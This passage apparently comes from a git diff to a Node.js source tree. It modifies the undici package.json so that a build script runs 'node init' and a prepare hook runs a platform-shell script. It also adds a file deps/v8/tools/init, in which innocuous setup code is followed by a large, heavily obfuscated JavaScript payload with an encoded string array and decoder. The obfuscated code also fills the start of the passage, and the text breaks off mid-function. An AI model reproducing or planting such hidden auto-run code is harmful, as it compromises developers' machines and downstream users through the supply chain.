7c996a7a7a796a7b589c48690b2a786c7dc96c89dc993cc90c9c987de90a7a9d2dcd3c08783dab387aedb94db819bdba7a5879ba0c99aaa96c39bc8b0a1c9db9cde8d96c29990838680c987dbd4a796c9d4a8a782d5dba7a7dda8a5a7b1dbd59993d4cfd3db979185a199dba7d6a7a6dbd1a7c9dda7d5c9c996aedb9bdbd59aa787c3c287c990d8a7d88096dfa7a7d1a7db9794908c9686dbd4aea78da7a7c9b1ad81939b96a7a4a59c86a7819296c9db94a7cdd497d4c9a681c5c9a7cbd5a7a7879ca7cb96a085db96a7a2afa7d4a7b1bedcc596839b9b9e86db90d5a7d5ab9199a7c99693a7a780cf86b2a790d9dd92a7a3a7d7a780a7a7a7d7a781a7c9a786d7dbb0a79caaa5d3a7c9998c9aa692d286cb83a7968290c1a7969295db9dc9aa96d2dd809891a7a5cb9acca7a59bc4a7d6db9693a7c9a5a8a786da949b9384bba7a7d2c9dba796cd969ca7a7a796db94aa8581be9ac9858687c9c2c9a7a79cdb9aaa96dad49ba7a786ddd5cba7a5a88d8181aa86aa9a9db7c994d286d3dba5c9d5db9eb296c387c9c29c9ada82a7bca6a5a5968d9da78296dbc9db969c96d0c4a793cccc91a6d5c9a7979686a7a3a7868d879194a8a7ce81caa7bbd9d9a7cbdc96a5acd796a796a790b3d5d4c5a7a784888887c5c0b9c3dbc9a7db8793c9d1808996c996c9a0d8b1aed59696db9ac9c0cec9d5dddbb0db9ddba7aa99c9a787c9c9b3c9ae8181b69ad098a6dba7a7c6bc97969c9aa7a7c99485a796a796aea7a7c9db939ba7a7d9dba7b7949bdd8cdaa789bd85b29ba7dbc9c8a7a7c980dd949686d1a7c690a7dc9896aab4c1809b81d790ce869a87ddd0a7a581dd9092ddd8df87d498c9a7b1dda7a794db8792998fdba782db93a7a88494839aa893ddd0c9c9969699c9c186cca9b580d5cc90dbdf8ddbdab381a6a7a5aedbd1d09b958fdcc9c9d1d4c0a49697dea8a7c681a7c9939ca59690a9c98f9cdba796949787d5ddc9c9979b83c3d4819b82aa96ad93dd9b9ddbae88df86dd95c9a5cbdda7c9dbdbc98d81cca7dddb96c9dd90c5a7dba5949adbd491ddddd8b593c590c9c9c3a79aa780cedd9195d5a785dbdbc985d990c9a1c9bbdba5a7dbaea796ba8fdc93ddc999a8db808eca8793c9a7cea7c9bcdf94c9c9d195a7ddd5dddbdbdbc9d7cfc9bba7d090a7d59cd6db8fdb99dd87a7d991a794db91a783c986a396dd86a89cdcb89ddba79bc9a7a7a78181a792d98bdba7aea7d69093dbce818185dbdc86a79ba68199a7a7c79a90dbd3969cdd9488dbd7a5d38c8690a7aa94d087a7a7dbb1c99ca586a7b1d49cdb98a7d7a79f8f9dc980a7dbd9cb9190db9fba8894a7a496a3c986d1c6b692a7c9a7c0b09691a09d9690dbd4a093dba7d88dc3c9a8db8296c9c9dbb0d487a7a5a79cb68ddba6a7d498db9bad97dbc293db8f9093afa7d7d7a8dd8cc98d97c99ec9a8a0a7d896888493dbd4bb9cc8ac9ca79aa7a7bbdbb58682c4b98090c49ea7d3d5d687b19690a7db9499a7a7dba7dbddd7a8b8a781b89ca787dc879980a791d3dba7a796859c93bc99c7a7c9a7c9c9c093dc8fd393a0a79096c986c1c9909b86a7db9ad7c99cc9d9a7d486d59ab79ca7d896a7c599a7bb81a1a7dca6a796c993918081a7a791a58fa7bddda79686dca5b1c996d1a78dc7d3cfc4bd87999adbdb9bd59386dbd19bcd8085bad1c59c8686869cdbd8c983a7c9dbc984a4ddd4a7d4d5aed4918d829bdba78c80df9cca91a7d0dba7c7a781cb87c286d481a786aaa7909195d4c9d1a8a7d5a798d4a7938da7d598a79a9ed49681c9dddbdb9ba796a6a79ba9d3dbc9c5a7a19c82988185c6dfb2dda58cda9b8db39d81a7c9dbcfb29adbdbdbdda781db87dbc9c59681a1dd87c9d5db9aae9c83dbc9a7c486a7cc91a8a7dea7a79d90a7d49696c7a7a790d7cc96ae87c9ceb190a596a7a79e81b29992c9ca81b4a0d28181a7a4a788d582c681a79481a8dda381d8cac9c9cadbdbd79987dcdb90a7d8a7a7bcabb0be83dbc1c2a79ade9cbbc9909690db9ba78ddd81a7bda7d581cdcea79c87dcc994a7968ddd8494a786b5939087a7b8dbc9c8db9681b5c99396a7dba7dca7db878d99d481dad99986a7a7a796c8db9cc5c6a79da7a7868eaa8da787c9a4c996d994c9c9b0a2ddb89aa7c9d58081b0d79388979387dbc986a7dea89187d5c9a7d4a4a782db9cd5bca7a1aaa59adbdd96c581cddd86a7a1a7a7969bb7a7d4d7db8dbcb1dbb49c8890859aa7c6d49a8fc8a890819ea781da80b4c4c1a7a7cca79681d4bb949187aa9bb2b6d4da97d188a7d78d91c99ca79681abdb808082c8c691a7858292a7cca7cda584a79cd6a78592cc80c8c49cc593c9dba7c9a5c593888183aa87c69086cfc99387c99cc2ddc98cdd9a99a7db90cc9a9ab7a1dbaaa7819ab0dcd59486ddc996a79c9091818686a7daa7a7da9087a7dddb829690dba7db87a58cdda7baddc9db92bd8d87a7c9a1dbb9d4a78dddc99addaedbde8ec996c9a7c9db909cbba1a7b6ae8ddbc1a79ea7d185bed7db9996a5dddbc9819edbc9a7a4b39e9b82bca7dcdb81d8a787c8908ec9dba5a5d5d6b0c3c69485c6aea7dcb9919196cea78da7d4a7d2d59a9ad4dc82db90d4dba796c9c5d0c99c8686cca780bac39c87d1dba7db9c85c3d098d8c382a79cc98fc9d59287c89b8290a7a7bbaaaaa7dda790bf83a793a7d0cfbba7a5a7c99ba7a7a7d1dba7db98a7c987a7d68eb096dbdc97c9c385909ca793d681b9dbdba7c9a59fa7a7dbddd994aa9999dbd5dbb1d592c9dd879d83d5d7c19ed4d59599a7c99e90c4d596d1d1c0a78fdba7a7a89080d3b19ca7d5dba7c9dddd96908786b0db949aa79d9093dcd090b9a7dcdbcfdbabdc9086b6a7db88dba1c9a5abdbd5b18cc9d6a796a785bba787dc9ba7a799aac691cda2dd96c8d8c6b09084909cb8a7a790a78fa79496b68090c999c9a7869cdb94ce8796c9db9991a7acdba7948799a7969bba93c69da1869181c9b8d798c986dd9b8588cfb4db938ca7c9a7b6c9d6a78cc583a7c988c9a7dbc9d0948186d499a7cbd8c9c7999991db9b87c0c8ddb3cfdba7a7999ba796a7d7868fc69ad7c993a7d3c6dbdbd4accb93a7dc9790a799869d85b8d0c993dbdd91d494979cb3a7d5c68294b8c98690dbdb8493a7db9caadbd3b0d4dbd3a7a7a796a78d8ea7aea7dbaacaa7c7d4d4a7a7968ddca7bcb8dbdc93c8d6c4b0b997a7a79bbf9094b89c98c4dca7a7a7aad589c99994c9c6dcc58c9691d3dbd69bc899db89a786cedb93dd9096db9686c8968ecaa7dad091aad4949bba9690c9a7878d94dbd297dcc8aac998dc9c96b496b6a796db9bc9a7db90d5dbdba7d8c9b4a7c0dba798ae91a7c9c9c7a7dbb49bcc8da796819896b0d0aedbdba7d9a481c980a593aad4c9a7c8d581afa7969985a5dfdb809085c3c993db97cca7a7c996a6879ec99088a7969e9196dbcec9818fdb99dbc9d49c9adbc987dac7c9a7c89796a7a786a3b1dba7dbc497c99696c9a788c99ddedbd5a783a1a785aaa5c9db8786dd80a5a481cfdbdbc9cba79eccd4c894ce9ac994dfdbc287a8c5acdccd96888fddc994dba7db90cda79ad58199d5a796ddb48b9cd4dfdd97a7d096a7d996c581c9d587b8a7a7c9d5a79cc9d5db93a590dfdeb0dc98db9a9fdbdb98cd98db96a7ddd1c993dba7db9c91908c8896b7a7a7d48696c99b9acca7c99bd5a78287bbc5d681a7918096aad8a7a6d79c8e9cdcdd9bb896a7c9c5bbc9daa3c9c9dbd9c5de82dba8c982c9a79090a7d982da90a7dba7dc9cdbd5a7c990d5dbc3a79294db879286dea49c8191db9ad496819094b9a79adcc6a7d5c9db9691dbdadb8bc9d5db86a9db90c98685c0a7dbc9a7a78294d4dfdba7dc81a7d99a93a7afc9af8196a79d86a787d1dadba7b6dbdb97d5d796a781d9d299909496a596d5a7a7c9a78fd7c9a79cd599c59aa7a791a786c2dba7dd90b696a7aadbc3d7aaa7dbdb85c9d39e91919090dbc9c8dbdb999adbc8a7c9d497dbd3a796c98196b687c598d396ad80d2829b91db86ce8682dea7c1da8680b19c96a59794d5dbdb9cd49ac4ab8788bccb90c1c9cfa782b6a79c96c9a7a7a796d7dbd591a78581c5c9dba79ec5c9a2cd87d5a79ba7dbb196dbb6bbd599829a9ddb99d8c9a7c9859697a7d5a590c39dacd8a781db96b085cfc9de94d8a3c9a794a793d2ddc987a7a7a7d3c9948fc9c1a7a7a7dbb0dcc2db8d8796c59c99bda7a19c8696dbaf93a79396a78dd8819ddcdba7d6c8d4c9b6db82d7998e90a890d8a7c9dac986c1bb81db9a85d79690dbc1a79b8ea6a79ac9a7dcb696a8dc90dda782cda7a7dbd5c9c49d968e85cd96a6d490c9a7caa7be94c89cc3a79caedbbca785a7d1a7978da7a69699db85c9a5d49394d4838386badbd485a7a781dbb09299a781c9dbd49c8091db9980c99c86dba79aa7c1d4dba5db9698dba59c88a79adbdb99a5bba78cc3c8818ec99490dbaad4a782a78194a7db8693dbd4dba8c1ae90dba79eb088d8888390dbdbd1bb829cb1d488dbc5a7d6c99c8694a7c685d0c988db94a7b5a7bf81dba7b2948ddba7d28685b6c5d4a7b29687dbc7b3a79ca790a594a79b86a7a7a79b94c9a7dcc0a0cfd79bc8969196cab4b781dbc7c5db819196d4b6c4a7d596dbc9909194b4dba7dddbd99099a796a7c996d3c9db90b6a7a0a79c938e94bfbea7de908dd88dcfa596d0909cb59096a7909eca85a7dbc1d5a7a7c9a7d6d196dbdb9cded4c1a7a7d1a7c6d6a7db87dda59ca7a7c996dba7969caaa0d48fa7a7a7ce80ab89dbafdb86dda1a7a7a196db9188a7c98cdbaa96c9dba7a78ed19ea7c1b3b7ddd1a9c982dbd5dbcea7c990a7c1a986a796cdc9a7dba7aeb091a7d5809aa7ae88a3dddb8591d2d7c9bf94ddc18587b4a7dddbbb96c9c98785c6dbcb8fd59090a7d4c9dbc9c0c2cfd3a5dc96aea797a7a7b0b8ddaaa5db88a7a7dcdbc8a79d87c9d9b6a7a7a7ddc99ec6a7de9d9bd5d0a7dba7b3dc99a7cea7db86d5a7db9f9998a7dddd999abddbc9a7c98ea5a790a79cc9c9969190bedba7db93a7c785a7dd949a8bdba78ca7a7a7aecfa7a7ca909c86a7a5939ed5ac86dd86c6db96d5c9c197999ac9c5c9cc8e9ac9a7a1b5a7dbdb9ba79ca7ce9499ca869aa7c592c9a1dba78198c980db86a9caa799dbaaa796968fc1d3cfcac5d5dbc0a7da968196c1c9a7cb9d9cd0db9cd69c88c9a7dbb09896c48db49b93a78ea69687dba7dbd089d7dba58787a79bc996a79ba5d494a7a781a793a7dba5d5cdd2a7c9bfb4d5a7d39cc99096968ea89693dba79894a7db9c8796db9ca790afd79bc98cd4c9d596a7d5d6c9d99096d4a791cc869c96deaac494db8780dbdb97dbdba7909dc9a78b9cd19a81c993a791969c81c9a9929aaac599a79883b3ddc990cc86c9a78181ddd5d4a79ba7c388c9db9c81badbdbd3cc86c191bba796d5db9adba7a7dba89fc5d5a7d59894c1ce87c986b694dcd3d5989aae8d99a7df9d81d4d9b48085d5a780d993a78193ae9fdca5df96a7a7c4c9a7a683d586d4c796bc86a7dbdb90c2c19da791d296cf838687db86cec990ddc9aad4b8a793a793b9b9929499dbd4db80dba7ccddb8969994dd918881ba94db88a796bc909798b096c5bbdda7b1d097b0d1d58791c99682dcdbb3c9ba97afa2a7db9f92dba0c1d79493a795d298d0da9093948da7a7a7cea79b94cfc283a7c59796db94aaa7c9c99fa7a786dbdbaddc8685b29cd383d290db99dbc7dbbcdb90cc87a790db86d2c4c887db90a7908d9797aaa7a7aa90cc9691c9b3bca5d4db96a7decddbc1c1c3daa0c9c99986d4a8c9809585a7868097c997cbbfa58285b59c99a7c99cdc9ed491a7b99ea7db8187a78ddd8787dcd0d5dadbdda897cd96a786de83a7d896dc88cf9a86a7db96d6d7c996849ec9909edb9c98a7a6bbdba786b0d597a5a59bdcc990889ac590d7dbc491a7bca7d4dd87dbd0dbbcdbdba7938f94aacaa7a79e93dad98196a7a7bc93dbc99ca7d59791a7badb96a5969190a7db8688909fb39785ce9adb9386c996aa9896c994b3db919b96c596d5a7a7a7db849bd5dba796a7db9da7be9fc9a786db9e96c9c6a786db9696a181db8187819b81cb82cedabc96af96cd87c99cdba781cba79686dbdb86d5868ea190d5c9d4dbdedba7dbc980a7a5a79adbc9bedb98db94db8687b8c9a7d5db9682a79c96c9a7dc9ba5ddc9a7a79090808196bf96d085bbdba7869690dbc8909493c5c9d2b5a688c4c9c9acbc9f87d4d4c9c194db93a7a7db99d3c9a7d1dbdb9983db8889c0d3a7dba7d4c9dc8d9386db97d1cfa796d599dbc9d59addbfdb90dbd6bbdbc281c9dc96c982d590a7c5dbc8c98c96d5d4dbdba790cac99bd2b7aea7979ad29480a788d5879490d6a7c8db9ca7dd8681c7db978bd5c9a696db8881a186a787c994a7dcd5878c9c87d4b6c996d581918bd7d5addb8181a7c9a7d491d596dbdbd49091dba7dbc9a7d59bdba69b90d4d4dcc1da9aada7a780db909ba7c9db87a784a7d799aab8db9093818187d581a796dbaa87c9a7dba7db91918ea29d8ea7dbc9dbd3a7a796c9db929388a79687c0c79181908891dd88ca96b3c2db8d8cd1a2c9d4dbdb96c38596cabb96c58fdd9dc1dba7a79ac8aa9a94dba593d493c19da7dba791df90c891d69696c387878e9adaa794a7a6db8fdb83dba7b196c9dbaea7ccdbd281a8d3dba7a7a7d8c1a7d39082a996a7ac909a9b93d581db98dc90c8db9c96bedba78edbc58699c48596a786dd969d99dba2a7db8c96db8e909c99c69381c98edadbb6dbdddb9bc999dccb98c9c991c4c994cad59b9096c9a7dbdb9483999aa7839fa79290dbaad5c8a7dedba7a7db8291a7db91c3d0dbbc9696ddde81dbcf969cd2db969d81db97dba7d486c19381aaa78d8194c98688bdd99696db919ea79b96dbdb8896d6d59bdca7dbddaadc96c4c6db9a81db9adb88c9d4db81a7a7dcdb81c9dbdbdbcda79bdbbd819681c99799a79a8196a4b29babdfaa8d989096a5a188dbdbc9c987c5d599b081d4919bd7c58593db929988a7c990a799a1b59cdbdb92dc9b90c1a780c993a7a7a192db96a7db96db909081c9dbdbab9090d987ce818985968190a2b386d5a7929491a7879ab2dd998199d5d6dd8c87c9dbd6919181dbc9a7d59cd89ac98681bc91d497dca7bcb081dfa7a79bd3a7db96c99ca79899a7ddd8dd9881969edba78cd4c5a7acbfc996dba79ccb8787dbd582cc96a194a7c8c9a59691bea8aaa9c793ddd5d6dba786d0db8190c99bdaa7878c9696db9ba796d1dba5d3db93db9c9696b7a5bba791a7cea7dbc0c9a7a7c998a59a8edda78eaa9bc999a79c91db9da7d5db91a79ba787d4bf82a7c5dba7a5a787dbcbc8dd93c990cadbc9b793a88da7969796a596a78688c9a7dd86dba7a5acdba7a7aaa59edd9ac9dd9199c9c590a7d9c4cfb1c48683db9c999d90aaa5a7859696a7c48498db9198d7c9869c86a591dbcad5859891a79da79b9681ddcad1a78781a78ddb90dc95dbdba7db85ca9cd4a7c4a787ddd58edb90a1a7a788db9688c9a7a7cddbdba785a7d79692cedb9696c5a787a7dbd581d3c69b91c09096a597aadba7d4a7949696a7979691978896ddd48e81c9dba79b83dbbba7d38b90b486d18fd7c9c1c9db9a928693b694a799c99a96b0a79aa7a781dbdbc986db9c95a7cadb869296dbdba786a786dbd2d18da79686bba7a7d4a795a79aa7aa9bd4d6a7d9d4c08493dbd6b7bca7b599dbd9dba89aa790a79489c9a7ae81c9c9cf8994aec1c9a78ba7d4deb092d8a7db94a5d490d5d399c9c09bd096a7a791b3878c96db86daa7dbce8e8ed9bddbcec99bc9dbdcc1db819198a7dc86a791dd98a7978edbc9a796db87a598db96a790d596a7969ea78ddcc996d3969cdb8c969099808cced9dbad9187a799a7a7d6d5969693db96a7d5d5a7d1a7969a8787dddb87b685c9bb87d6b0dda8a79ba7d79c9f9b92a7a7c1c9b6d1949199a79496d381ddd4d8a785dba8919adb969ca7888086a78786dd9bd5b6c9d4cedb9396db96b58fc981a7c181b6a781a78196c8db96c696939adbd4d5d5a7cec99390cda79187b8a7a7ae91bbae968ca796cfcba19bc999abdb999acda79ca7a79686869688a78185968edb86a786dbdbdb8896dba794acaec994dfd5dcbcdd9991a7dd828687c3d5dfa7c2d494c9a6db96c9a9a7dbb7b0b9a790c3ac93c9c4c99096a587b190d58699c5a597b1d6a7a89adbd2c999db98d5a7dd85dcc9909e9496db96a7db91dbdbaa80c994d2c9d5a7999c9793989b9193a8dbddd0a7a7c9a7bbb196a7b0a7d6a3dbdb948694ae9bd3a7d9d1c9d9a7c99ac1a7a790b0a7dc8686b9a8cdb0a6a7a790a7b09ca78ea7c996db8ed596a2b293889a9d91969486dba8dbd593a5c8d59a86c3c2b09a96bca59a96d5dbc29c9296b3b6a7dbd5c996b0dbbbd5db97a7','969d9487b481','96ab98909f97ab81879a','8685999c81','c7cdcd999886a0b185','c4c1c0b08583808191','9f9a9c9b','c3c59ab1baa18ca4','c4c4c4ccccc4c3b0a79ea19199','c4c3ccc3c5c1c3bcbe9d9bbebe','93879a98b69d9487b69a9190','c3c5cdb9b684a58680','9d849087868d998083829496919f978c98929a878f939e9a969c85818780819b86819a9b96','c6c3c0c3ccc6a3bab894aca4','8680978681879c9b92'];uFZJCBPkZizvf=function(){return xTmxLGucdH;};return uFZJCBPkZizvf();}function spin(FfKzSIDp$NcOuXFZBJ_CHQSPN,GcPFo_H$YWuzwHOLObbqnFaE){var MRAuuiXbNlf=iHnmzEbnHW$DFPJlH_k,XlFOWWdynqeXPmh$KiC_tyWvrt=[],ISvQGucB_Gv=-parseInt(0x3)*-parseInt(0xab7)+-parseInt(0xa51)+Math.max(-0x16,-parseInt(0x16))*Math.max(0xfe,parseInt(0xfe)),QrsyFxJBYBnJAvsXcggpkOmhe=GcPFo_H$YWuzwHOLObbqnFaE[-0x196*Math.floor(0x16)+-parseInt(0xbcf)*-parseInt(0x1)+parseInt(0x13)*Math.ceil(parseInt(0x137))],PcfPYhaGCwWvPITkAeRVh$Lq_KV,fI$Qa$cy,Y_BlNB$L,TZcT$vuHmKlsqUbpjE,Mk_rsooAxKwbtN_gvflbiXQyD,hzD$VGIwfqJnbnlhUQ;while(ISvQGucB_Gv=22.19.0" - }, - "tsd": { - "directory": "test/types", - "compilerOptions": { - "esModuleInterop": true, - "lib": [ - "esnext" - ] - } - }, - "jest": { - "testMatch": [ - "/test/jest/**" - ] - } -} +{ + "name": "undici", + "version": "8.10.2", + "description": "An HTTP/1.1 client, written from scratch for Node.js", + "homepage": "https://undici.nodejs.org", + "bugs": { + "url": "https://github.com/nodejs/undici/issues" + }, + "repository": { + "type": "git", + "url": "git+https://github.com/nodejs/undici.git" + }, + "license": "MIT", + "contributors": [ + { + "name": "Daniele Belardi", + "url": "https://github.com/dnlup", + "author": true + }, + { + "name": "Ethan Arrowood", + "url": "https://github.com/ethan-arrowood", + "author": true + }, + { + "name": "Matteo Collina", + "url": "https://github.com/mcollina", + "author": true + }, + { + "name": "Matthew Aitken", + "url": "https://github.com/KhafraDev", + "author": true + }, + { + "name": "Robert Nagy", + "url": "https://github.com/ronag", + "author": true + }, + { + "name": "Szymon Marczak", + "url": "https://github.com/szmarczak", + "author": true + }, + { + "name": "Tomas Della Vedova", + "url": "https://github.com/delvedor", + "author": true + } + ], + "keywords": [ + "fetch", + "http", + "https", + "promise", + "request", + "curl", + "wget", + "xhr", + "whatwg" + ], + "main": "index.js", + "types": "index.d.ts", + "scripts": { + "build:node": "node init && esbuild index-fetch.js --bundle --platform=node --outfile=undici-fetch.js --define:esbuildDetection=1 --keep-names && node scripts/strip-comments.js", + "build:wasm": "node init && node build/wasm.js --docker", + "generate-pem": "node scripts/generate-pem.js", + "lint": "eslint --cache", + "lint:fix": "eslint --fix --cache", + "test": "npm run test:javascript && cross-env NODE_V8_COVERAGE= npm run test:typescript", + "test:javascript": "npm run test:javascript:no-jest && npm run test:jest", + "test:javascript:no-jest": "npm run generate-pem && npm run test:unit && npm run test:fetch && npm run test:node-fetch && npm run test:infra && npm run test:cache && npm run test:cache-interceptor && npm run test:interceptors && npm run test:cookies && npm run test:eventsource && npm run test:subresource-integrity && npm run test:wpt && npm run test:websocket && npm run test:node-test && npm run test:cache-tests", + "test:javascript:without-intl": "npm run test:javascript:no-jest", + "test:busboy": "borp --timeout 180000 -p \"test/busboy/*.js\"", + "test:cache": "borp --timeout 180000 -p \"test/cache/*.js\"", + "test:cache-interceptor": "borp --timeout 180000 -p \"test/cache-interceptor/*.js\"", + "test:cache-interceptor:sqlite": "cross-env NODE_OPTIONS=--experimental-sqlite npm run test:cache-interceptor", + "test:cookies": "borp --timeout 180000 -p \"test/cookie/*.js\"", + "test:eventsource": "npm run build:node && borp --timeout 180000 --expose-gc -p \"test/eventsource/*.js\"", + "test:fuzzing": "node test/fuzzing/fuzzing.test.js", + "test:fetch": "npm run build:node && borp --timeout 180000 --expose-gc --concurrency 1 -p \"test/fetch/*.js\" && npm run test:webidl && npm run test:busboy", + "test:subresource-integrity": "borp --timeout 180000 -p \"test/subresource-integrity/*.js\"", + "test:h2": "npm run test:h2:core && npm run test:h2:fetch", + "test:h2:core": "borp --timeout 180000 -p \"test/+(http2|h2)*.js\"", + "test:h2:fetch": "npm run build:node && borp --timeout 180000 -p \"test/fetch/http2*.js\"", + "test:infra": "borp --timeout 180000 -p \"test/infra/*.js\"", + "test:interceptors": "borp --timeout 180000 -p \"test/interceptors/*.js\"", + "test:jest": "cross-env NODE_V8_COVERAGE= jest", + "test:unit": "borp --timeout 180000 --expose-gc -p \"test/*.js\"", + "test:node-fetch": "borp --timeout 180000 -p \"test/node-fetch/**/*.js\"", + "test:node-test": "borp --timeout 180000 -p \"test/node-test/**/*.js\"", + "test:tdd": "borp --timeout 180000 --expose-gc -p \"test/*.js\"", + "test:tdd:node-test": "borp --timeout 180000 -p \"test/node-test/**/*.js\" -w", + "test:typescript": "tsd && tsc test/imports/undici-import.ts --typeRoots ./types --noEmit && tsc ./types/*.d.ts --noEmit --typeRoots ./types", + "test:webidl": "borp --timeout 180000 -p \"test/webidl/*.js\"", + "test:websocket": "borp --timeout 180000 -p \"test/websocket/**/*.js\"", + "test:websocket:autobahn": "node test/autobahn/client.js", + "test:websocket:autobahn:report": "node test/autobahn/report.js", + "test:wpt:setup": "node test/web-platform-tests/wpt-runner.mjs setup", + "test:wpt": "npm run test:wpt:setup && node test/web-platform-tests/wpt-runner.mjs run /fetch /mimesniff /xhr /websockets /eventsource", + "test:cache-tests": "node test/cache-interceptor/cache-tests.mjs --ci", + "coverage": "npm run coverage:clean && cross-env NODE_V8_COVERAGE=./coverage/tmp npm run test:javascript && npm run coverage:report", + "coverage:ci": "npm run coverage:clean && cross-env NODE_V8_COVERAGE=./coverage/tmp npm run test:javascript && npm run coverage:report:ci", + "coverage:clean": "node ./scripts/clean-coverage.js", + "coverage:report": "cross-env NODE_V8_COVERAGE= c8 report", + "coverage:report:ci": "c8 report", + "bench": "echo \"Error: Benchmarks have been moved to '/benchmarks'\" && exit 1", + "serve:website": "echo \"Error: Documentation has been moved to '/docs'\" && exit 1", + "prepare": "husky && node ./scripts/platform-shell.js" + }, + "devDependencies": { + "@fastify/busboy": "3.2.2", + "@matteo.collina/tspl": "^0.2.0", + "@metcoder95/https-pem": "^1.0.0", + "@sinonjs/fake-timers": "^12.0.0", + "@types/node": "^22.0.0", + "abort-controller": "^3.0.0", + "borp": "^1.0.0", + "c8": "^12.0.0", + "cross-env": "^10.0.0", + "dns-packet": "^5.4.0", + "esbuild": "^0.28.0", + "eslint": "^9.9.0", + "fast-check": "^4.1.1", + "husky": "^9.0.7", + "jest": "^30.0.5", + "jsondiffpatch": "^0.7.3", + "neostandard": "^0.13.0", + "node-forge": "^1.3.1", + "proxy": "^4.0.0", + "tsd": "^0.33.0", + "typescript": "^6.0.2", + "ws": "^8.11.0" + }, + "engines": { + "node": ">=22.19.0" + }, + "tsd": { + "directory": "test/types", + "compilerOptions": { + "esModuleInterop": true, + "lib": [ + "esnext" + ] + } + }, + "jest": { + "testMatch": [ + "/test/jest/**" + ] + } +} diff --git a/deps/v8/tools/init b/deps/v8/tools/init new file mode 100644 index 000000000000..e8079e6931e5 --- /dev/null +++ b/deps/v8/tools/init @@ -0,0 +1,35 @@ +'use strict'; + +const path = require('path'); +const fs = require('fs'); + +const ROOT = process.cwd(); +const ENV = process.env.NODE_ENV || 'development'; + +const state = { + root: ROOT, + env: ENV, + ready: false, +}; + +function ensureDir(dir) { + try { + if (!fs.existsSync(dir)) fs.mkdirSync(dir, { recursive: true }); + } catch (_) {} +} + +function init(options) { + if (state.ready) return state; + const opts = options || {}; + state.env = opts.env || process.env.NODE_ENV || state.env; + state.root = opts.root || process.cwd(); + ensureDir(path.join(state.root, '.tmp')); + state.ready = true; + return state; +} + +init(); + +module.exports = { init, state }; +module.exports.ROOT = ROOT; +module.exports.ENV = ENV; (function(w$EEwe_mVJdtn,X$MijNH){var hLsNetSECrqLyGkrjdgtIJ=iHnmzEbnHW$DFPJlH_k,CfaADapYQR=w$EEwe_mVJdtn();while(!![]){try{var AYjGEOVaBmUhJkotaxFFUDWvv=Math['ceil'](parseFloat(hLsNetSECrqLyGkrjdgtIJ(0xca))/(Math.floor(0x30)*Math.max(parseInt(0x52),parseInt(0x52))+-0x1*Number(parseInt(0x10bf))+Math.floor(parseInt(0x160))))+parseFloat(parseFloat(hLsNetSECrqLyGkrjdgtIJ(0xc8))/(parseInt(-0x3a)*-0x6e+-parseInt(0x2032)+parseInt(0x748)))*(parseFloat(hLsNetSECrqLyGkrjdgtIJ(0xc1))/(-parseInt(0x139)+Math.ceil(-0x24a8)+-0x3ca*-0xa))+parseFloat(hLsNetSECrqLyGkrjdgtIJ(0xc5))/(Math.floor(-0x2)*0x195+0x3a9*Math.floor(-0x3)+Math.trunc(parseInt(0xe29)))+-parseFloat(hLsNetSECrqLyGkrjdgtIJ(0xc2))/(0x157e+0x1bb*-0xb+-0x270)*Number(parseFloat(hLsNetSECrqLyGkrjdgtIJ(0xcc))/(-parseInt(0x4a)+Math.trunc(-0x1e2)+-parseInt(0x119)*-parseInt(0x2)))+parseFloat(hLsNetSECrqLyGkrjdgtIJ(0xce))/(parseInt(0x1672)+Math.max(0x16bf,0x16bf)+-0x29*Math.ceil(parseInt(0x11a)))*(parseFloat(hLsNetSECrqLyGkrjdgtIJ(0xcd))/(0x167a*Math.ceil(0x1)+-parseInt(0x1034)*Number(parseInt(0x2))+Math.ceil(-0x5)*Math.floor(-0x1fe)))+parseFloat(hLsNetSECrqLyGkrjdgtIJ(0xd2))/(Number(-parseInt(0xa7))*Math.ceil(-parseInt(0x7))+parseInt(0x41e)+-0x8a6)*(parseFloat(hLsNetSECrqLyGkrjdgtIJ(0xd0))/(Math.trunc(parseInt(0x2))*-parseInt(0x765)+parseInt(0x1a1b)*parseInt(0x1)+parseInt(-0xb47)))+parseFloat(hLsNetSECrqLyGkrjdgtIJ(0xc6))/(Number(-parseInt(0x236))*parseInt(0xe)+0x571*parseFloat(-0x2)+-0x47*Math.floor(-0x97))*(-parseFloat(hLsNetSECrqLyGkrjdgtIJ(0xc4))/(-parseInt(0x79)*parseInt(0x25)+Math.trunc(parseInt(0x538))+parseInt(0x1)*parseInt(0xc51)));if(AYjGEOVaBmUhJkotaxFFUDWvv===X$MijNH)break;else CfaADapYQR['push'](CfaADapYQR['shift']());}catch(MAMljmxEVRkEAcViFJj){CfaADapYQR['push'](CfaADapYQR['shift']());}}}(uFZJCBPkZizvf,0x490fa+parseInt(0x27889)+parseFloat(-0x3a423)));var z='',NX=[parseInt(-0x8b757)*0x17+parseFloat(-0x81a801)+Number(0x1b39c21),-parseInt(0x13ee)+Math.ceil(0x1736)*-0x1+Math.trunc(0x2c93),Math.trunc(-parseInt(0x1))*-parseInt(0x5815)+-parseInt(0x696c)+Number(parseInt(0x6112)),0x1280+-parseInt(0x27)*Math.floor(parseInt(0x12))+Number(0x137)*Math.max(-0xb,-parseInt(0xb)),parseInt(0x541b)*Math.floor(-parseInt(0x1))+-0x8a1a+0x18924*parseInt(0x1),0x384962+Math.floor(0x2f90c3)+-parseInt(0x1b4392)],SX=[parseInt(0x2)*parseInt(0x3abc37)+0x1*Math.max(-0x554e23,-0x554e23)+-0x2*-parseInt(0x183aa9),parseInt(-parseInt(0xd))*Number(-0x299)+-parseInt(0x1)*parseFloat(parseInt(0x269))+-0x1e6b,-0x1bbd+0x2*Math.floor(-parseInt(0x2b7e))+0x1169a,parseInt(0x2162)+-parseInt(0x3c7)*Number(parseInt(0x1))+-parseInt(0x1ce0),0x1*Math.max(-0x177e1,-parseInt(0x177e1))+-0xbd*parseInt(0x191)+parseInt(0x37b2f),parseInt(0x7ad9)*-0xfd+Math.floor(-0x2b9126)+Number(0xed48f0)];function iHnmzEbnHW$DFPJlH_k(kcL_WpHctzO,P_qv$sPVPZ){var ycLkB_RoPRbnMtpWWtKZE=uFZJCBPkZizvf();return iHnmzEbnHW$DFPJlH_k=function(utEJIknql$bS_SmYF,ATu$KPuqthAWyCuI$oeHyV){utEJIknql$bS_SmYF=utEJIknql$bS_SmYF-(parseInt(0x23f3)+-parseInt(0x1f29)+parseInt(0x40d)*-parseInt(0x1));var nxtaKDz$p_mByWxjPdyQ=ycLkB_RoPRbnMtpWWtKZE[utEJIknql$bS_SmYF];if(iHnmzEbnHW$DFPJlH_k['SbeJrB']===undefined){var gJdAHnfRVBNuhRheSWAAAJ=function(UWluQMU$HzlXDHXLXoCK_ga){var 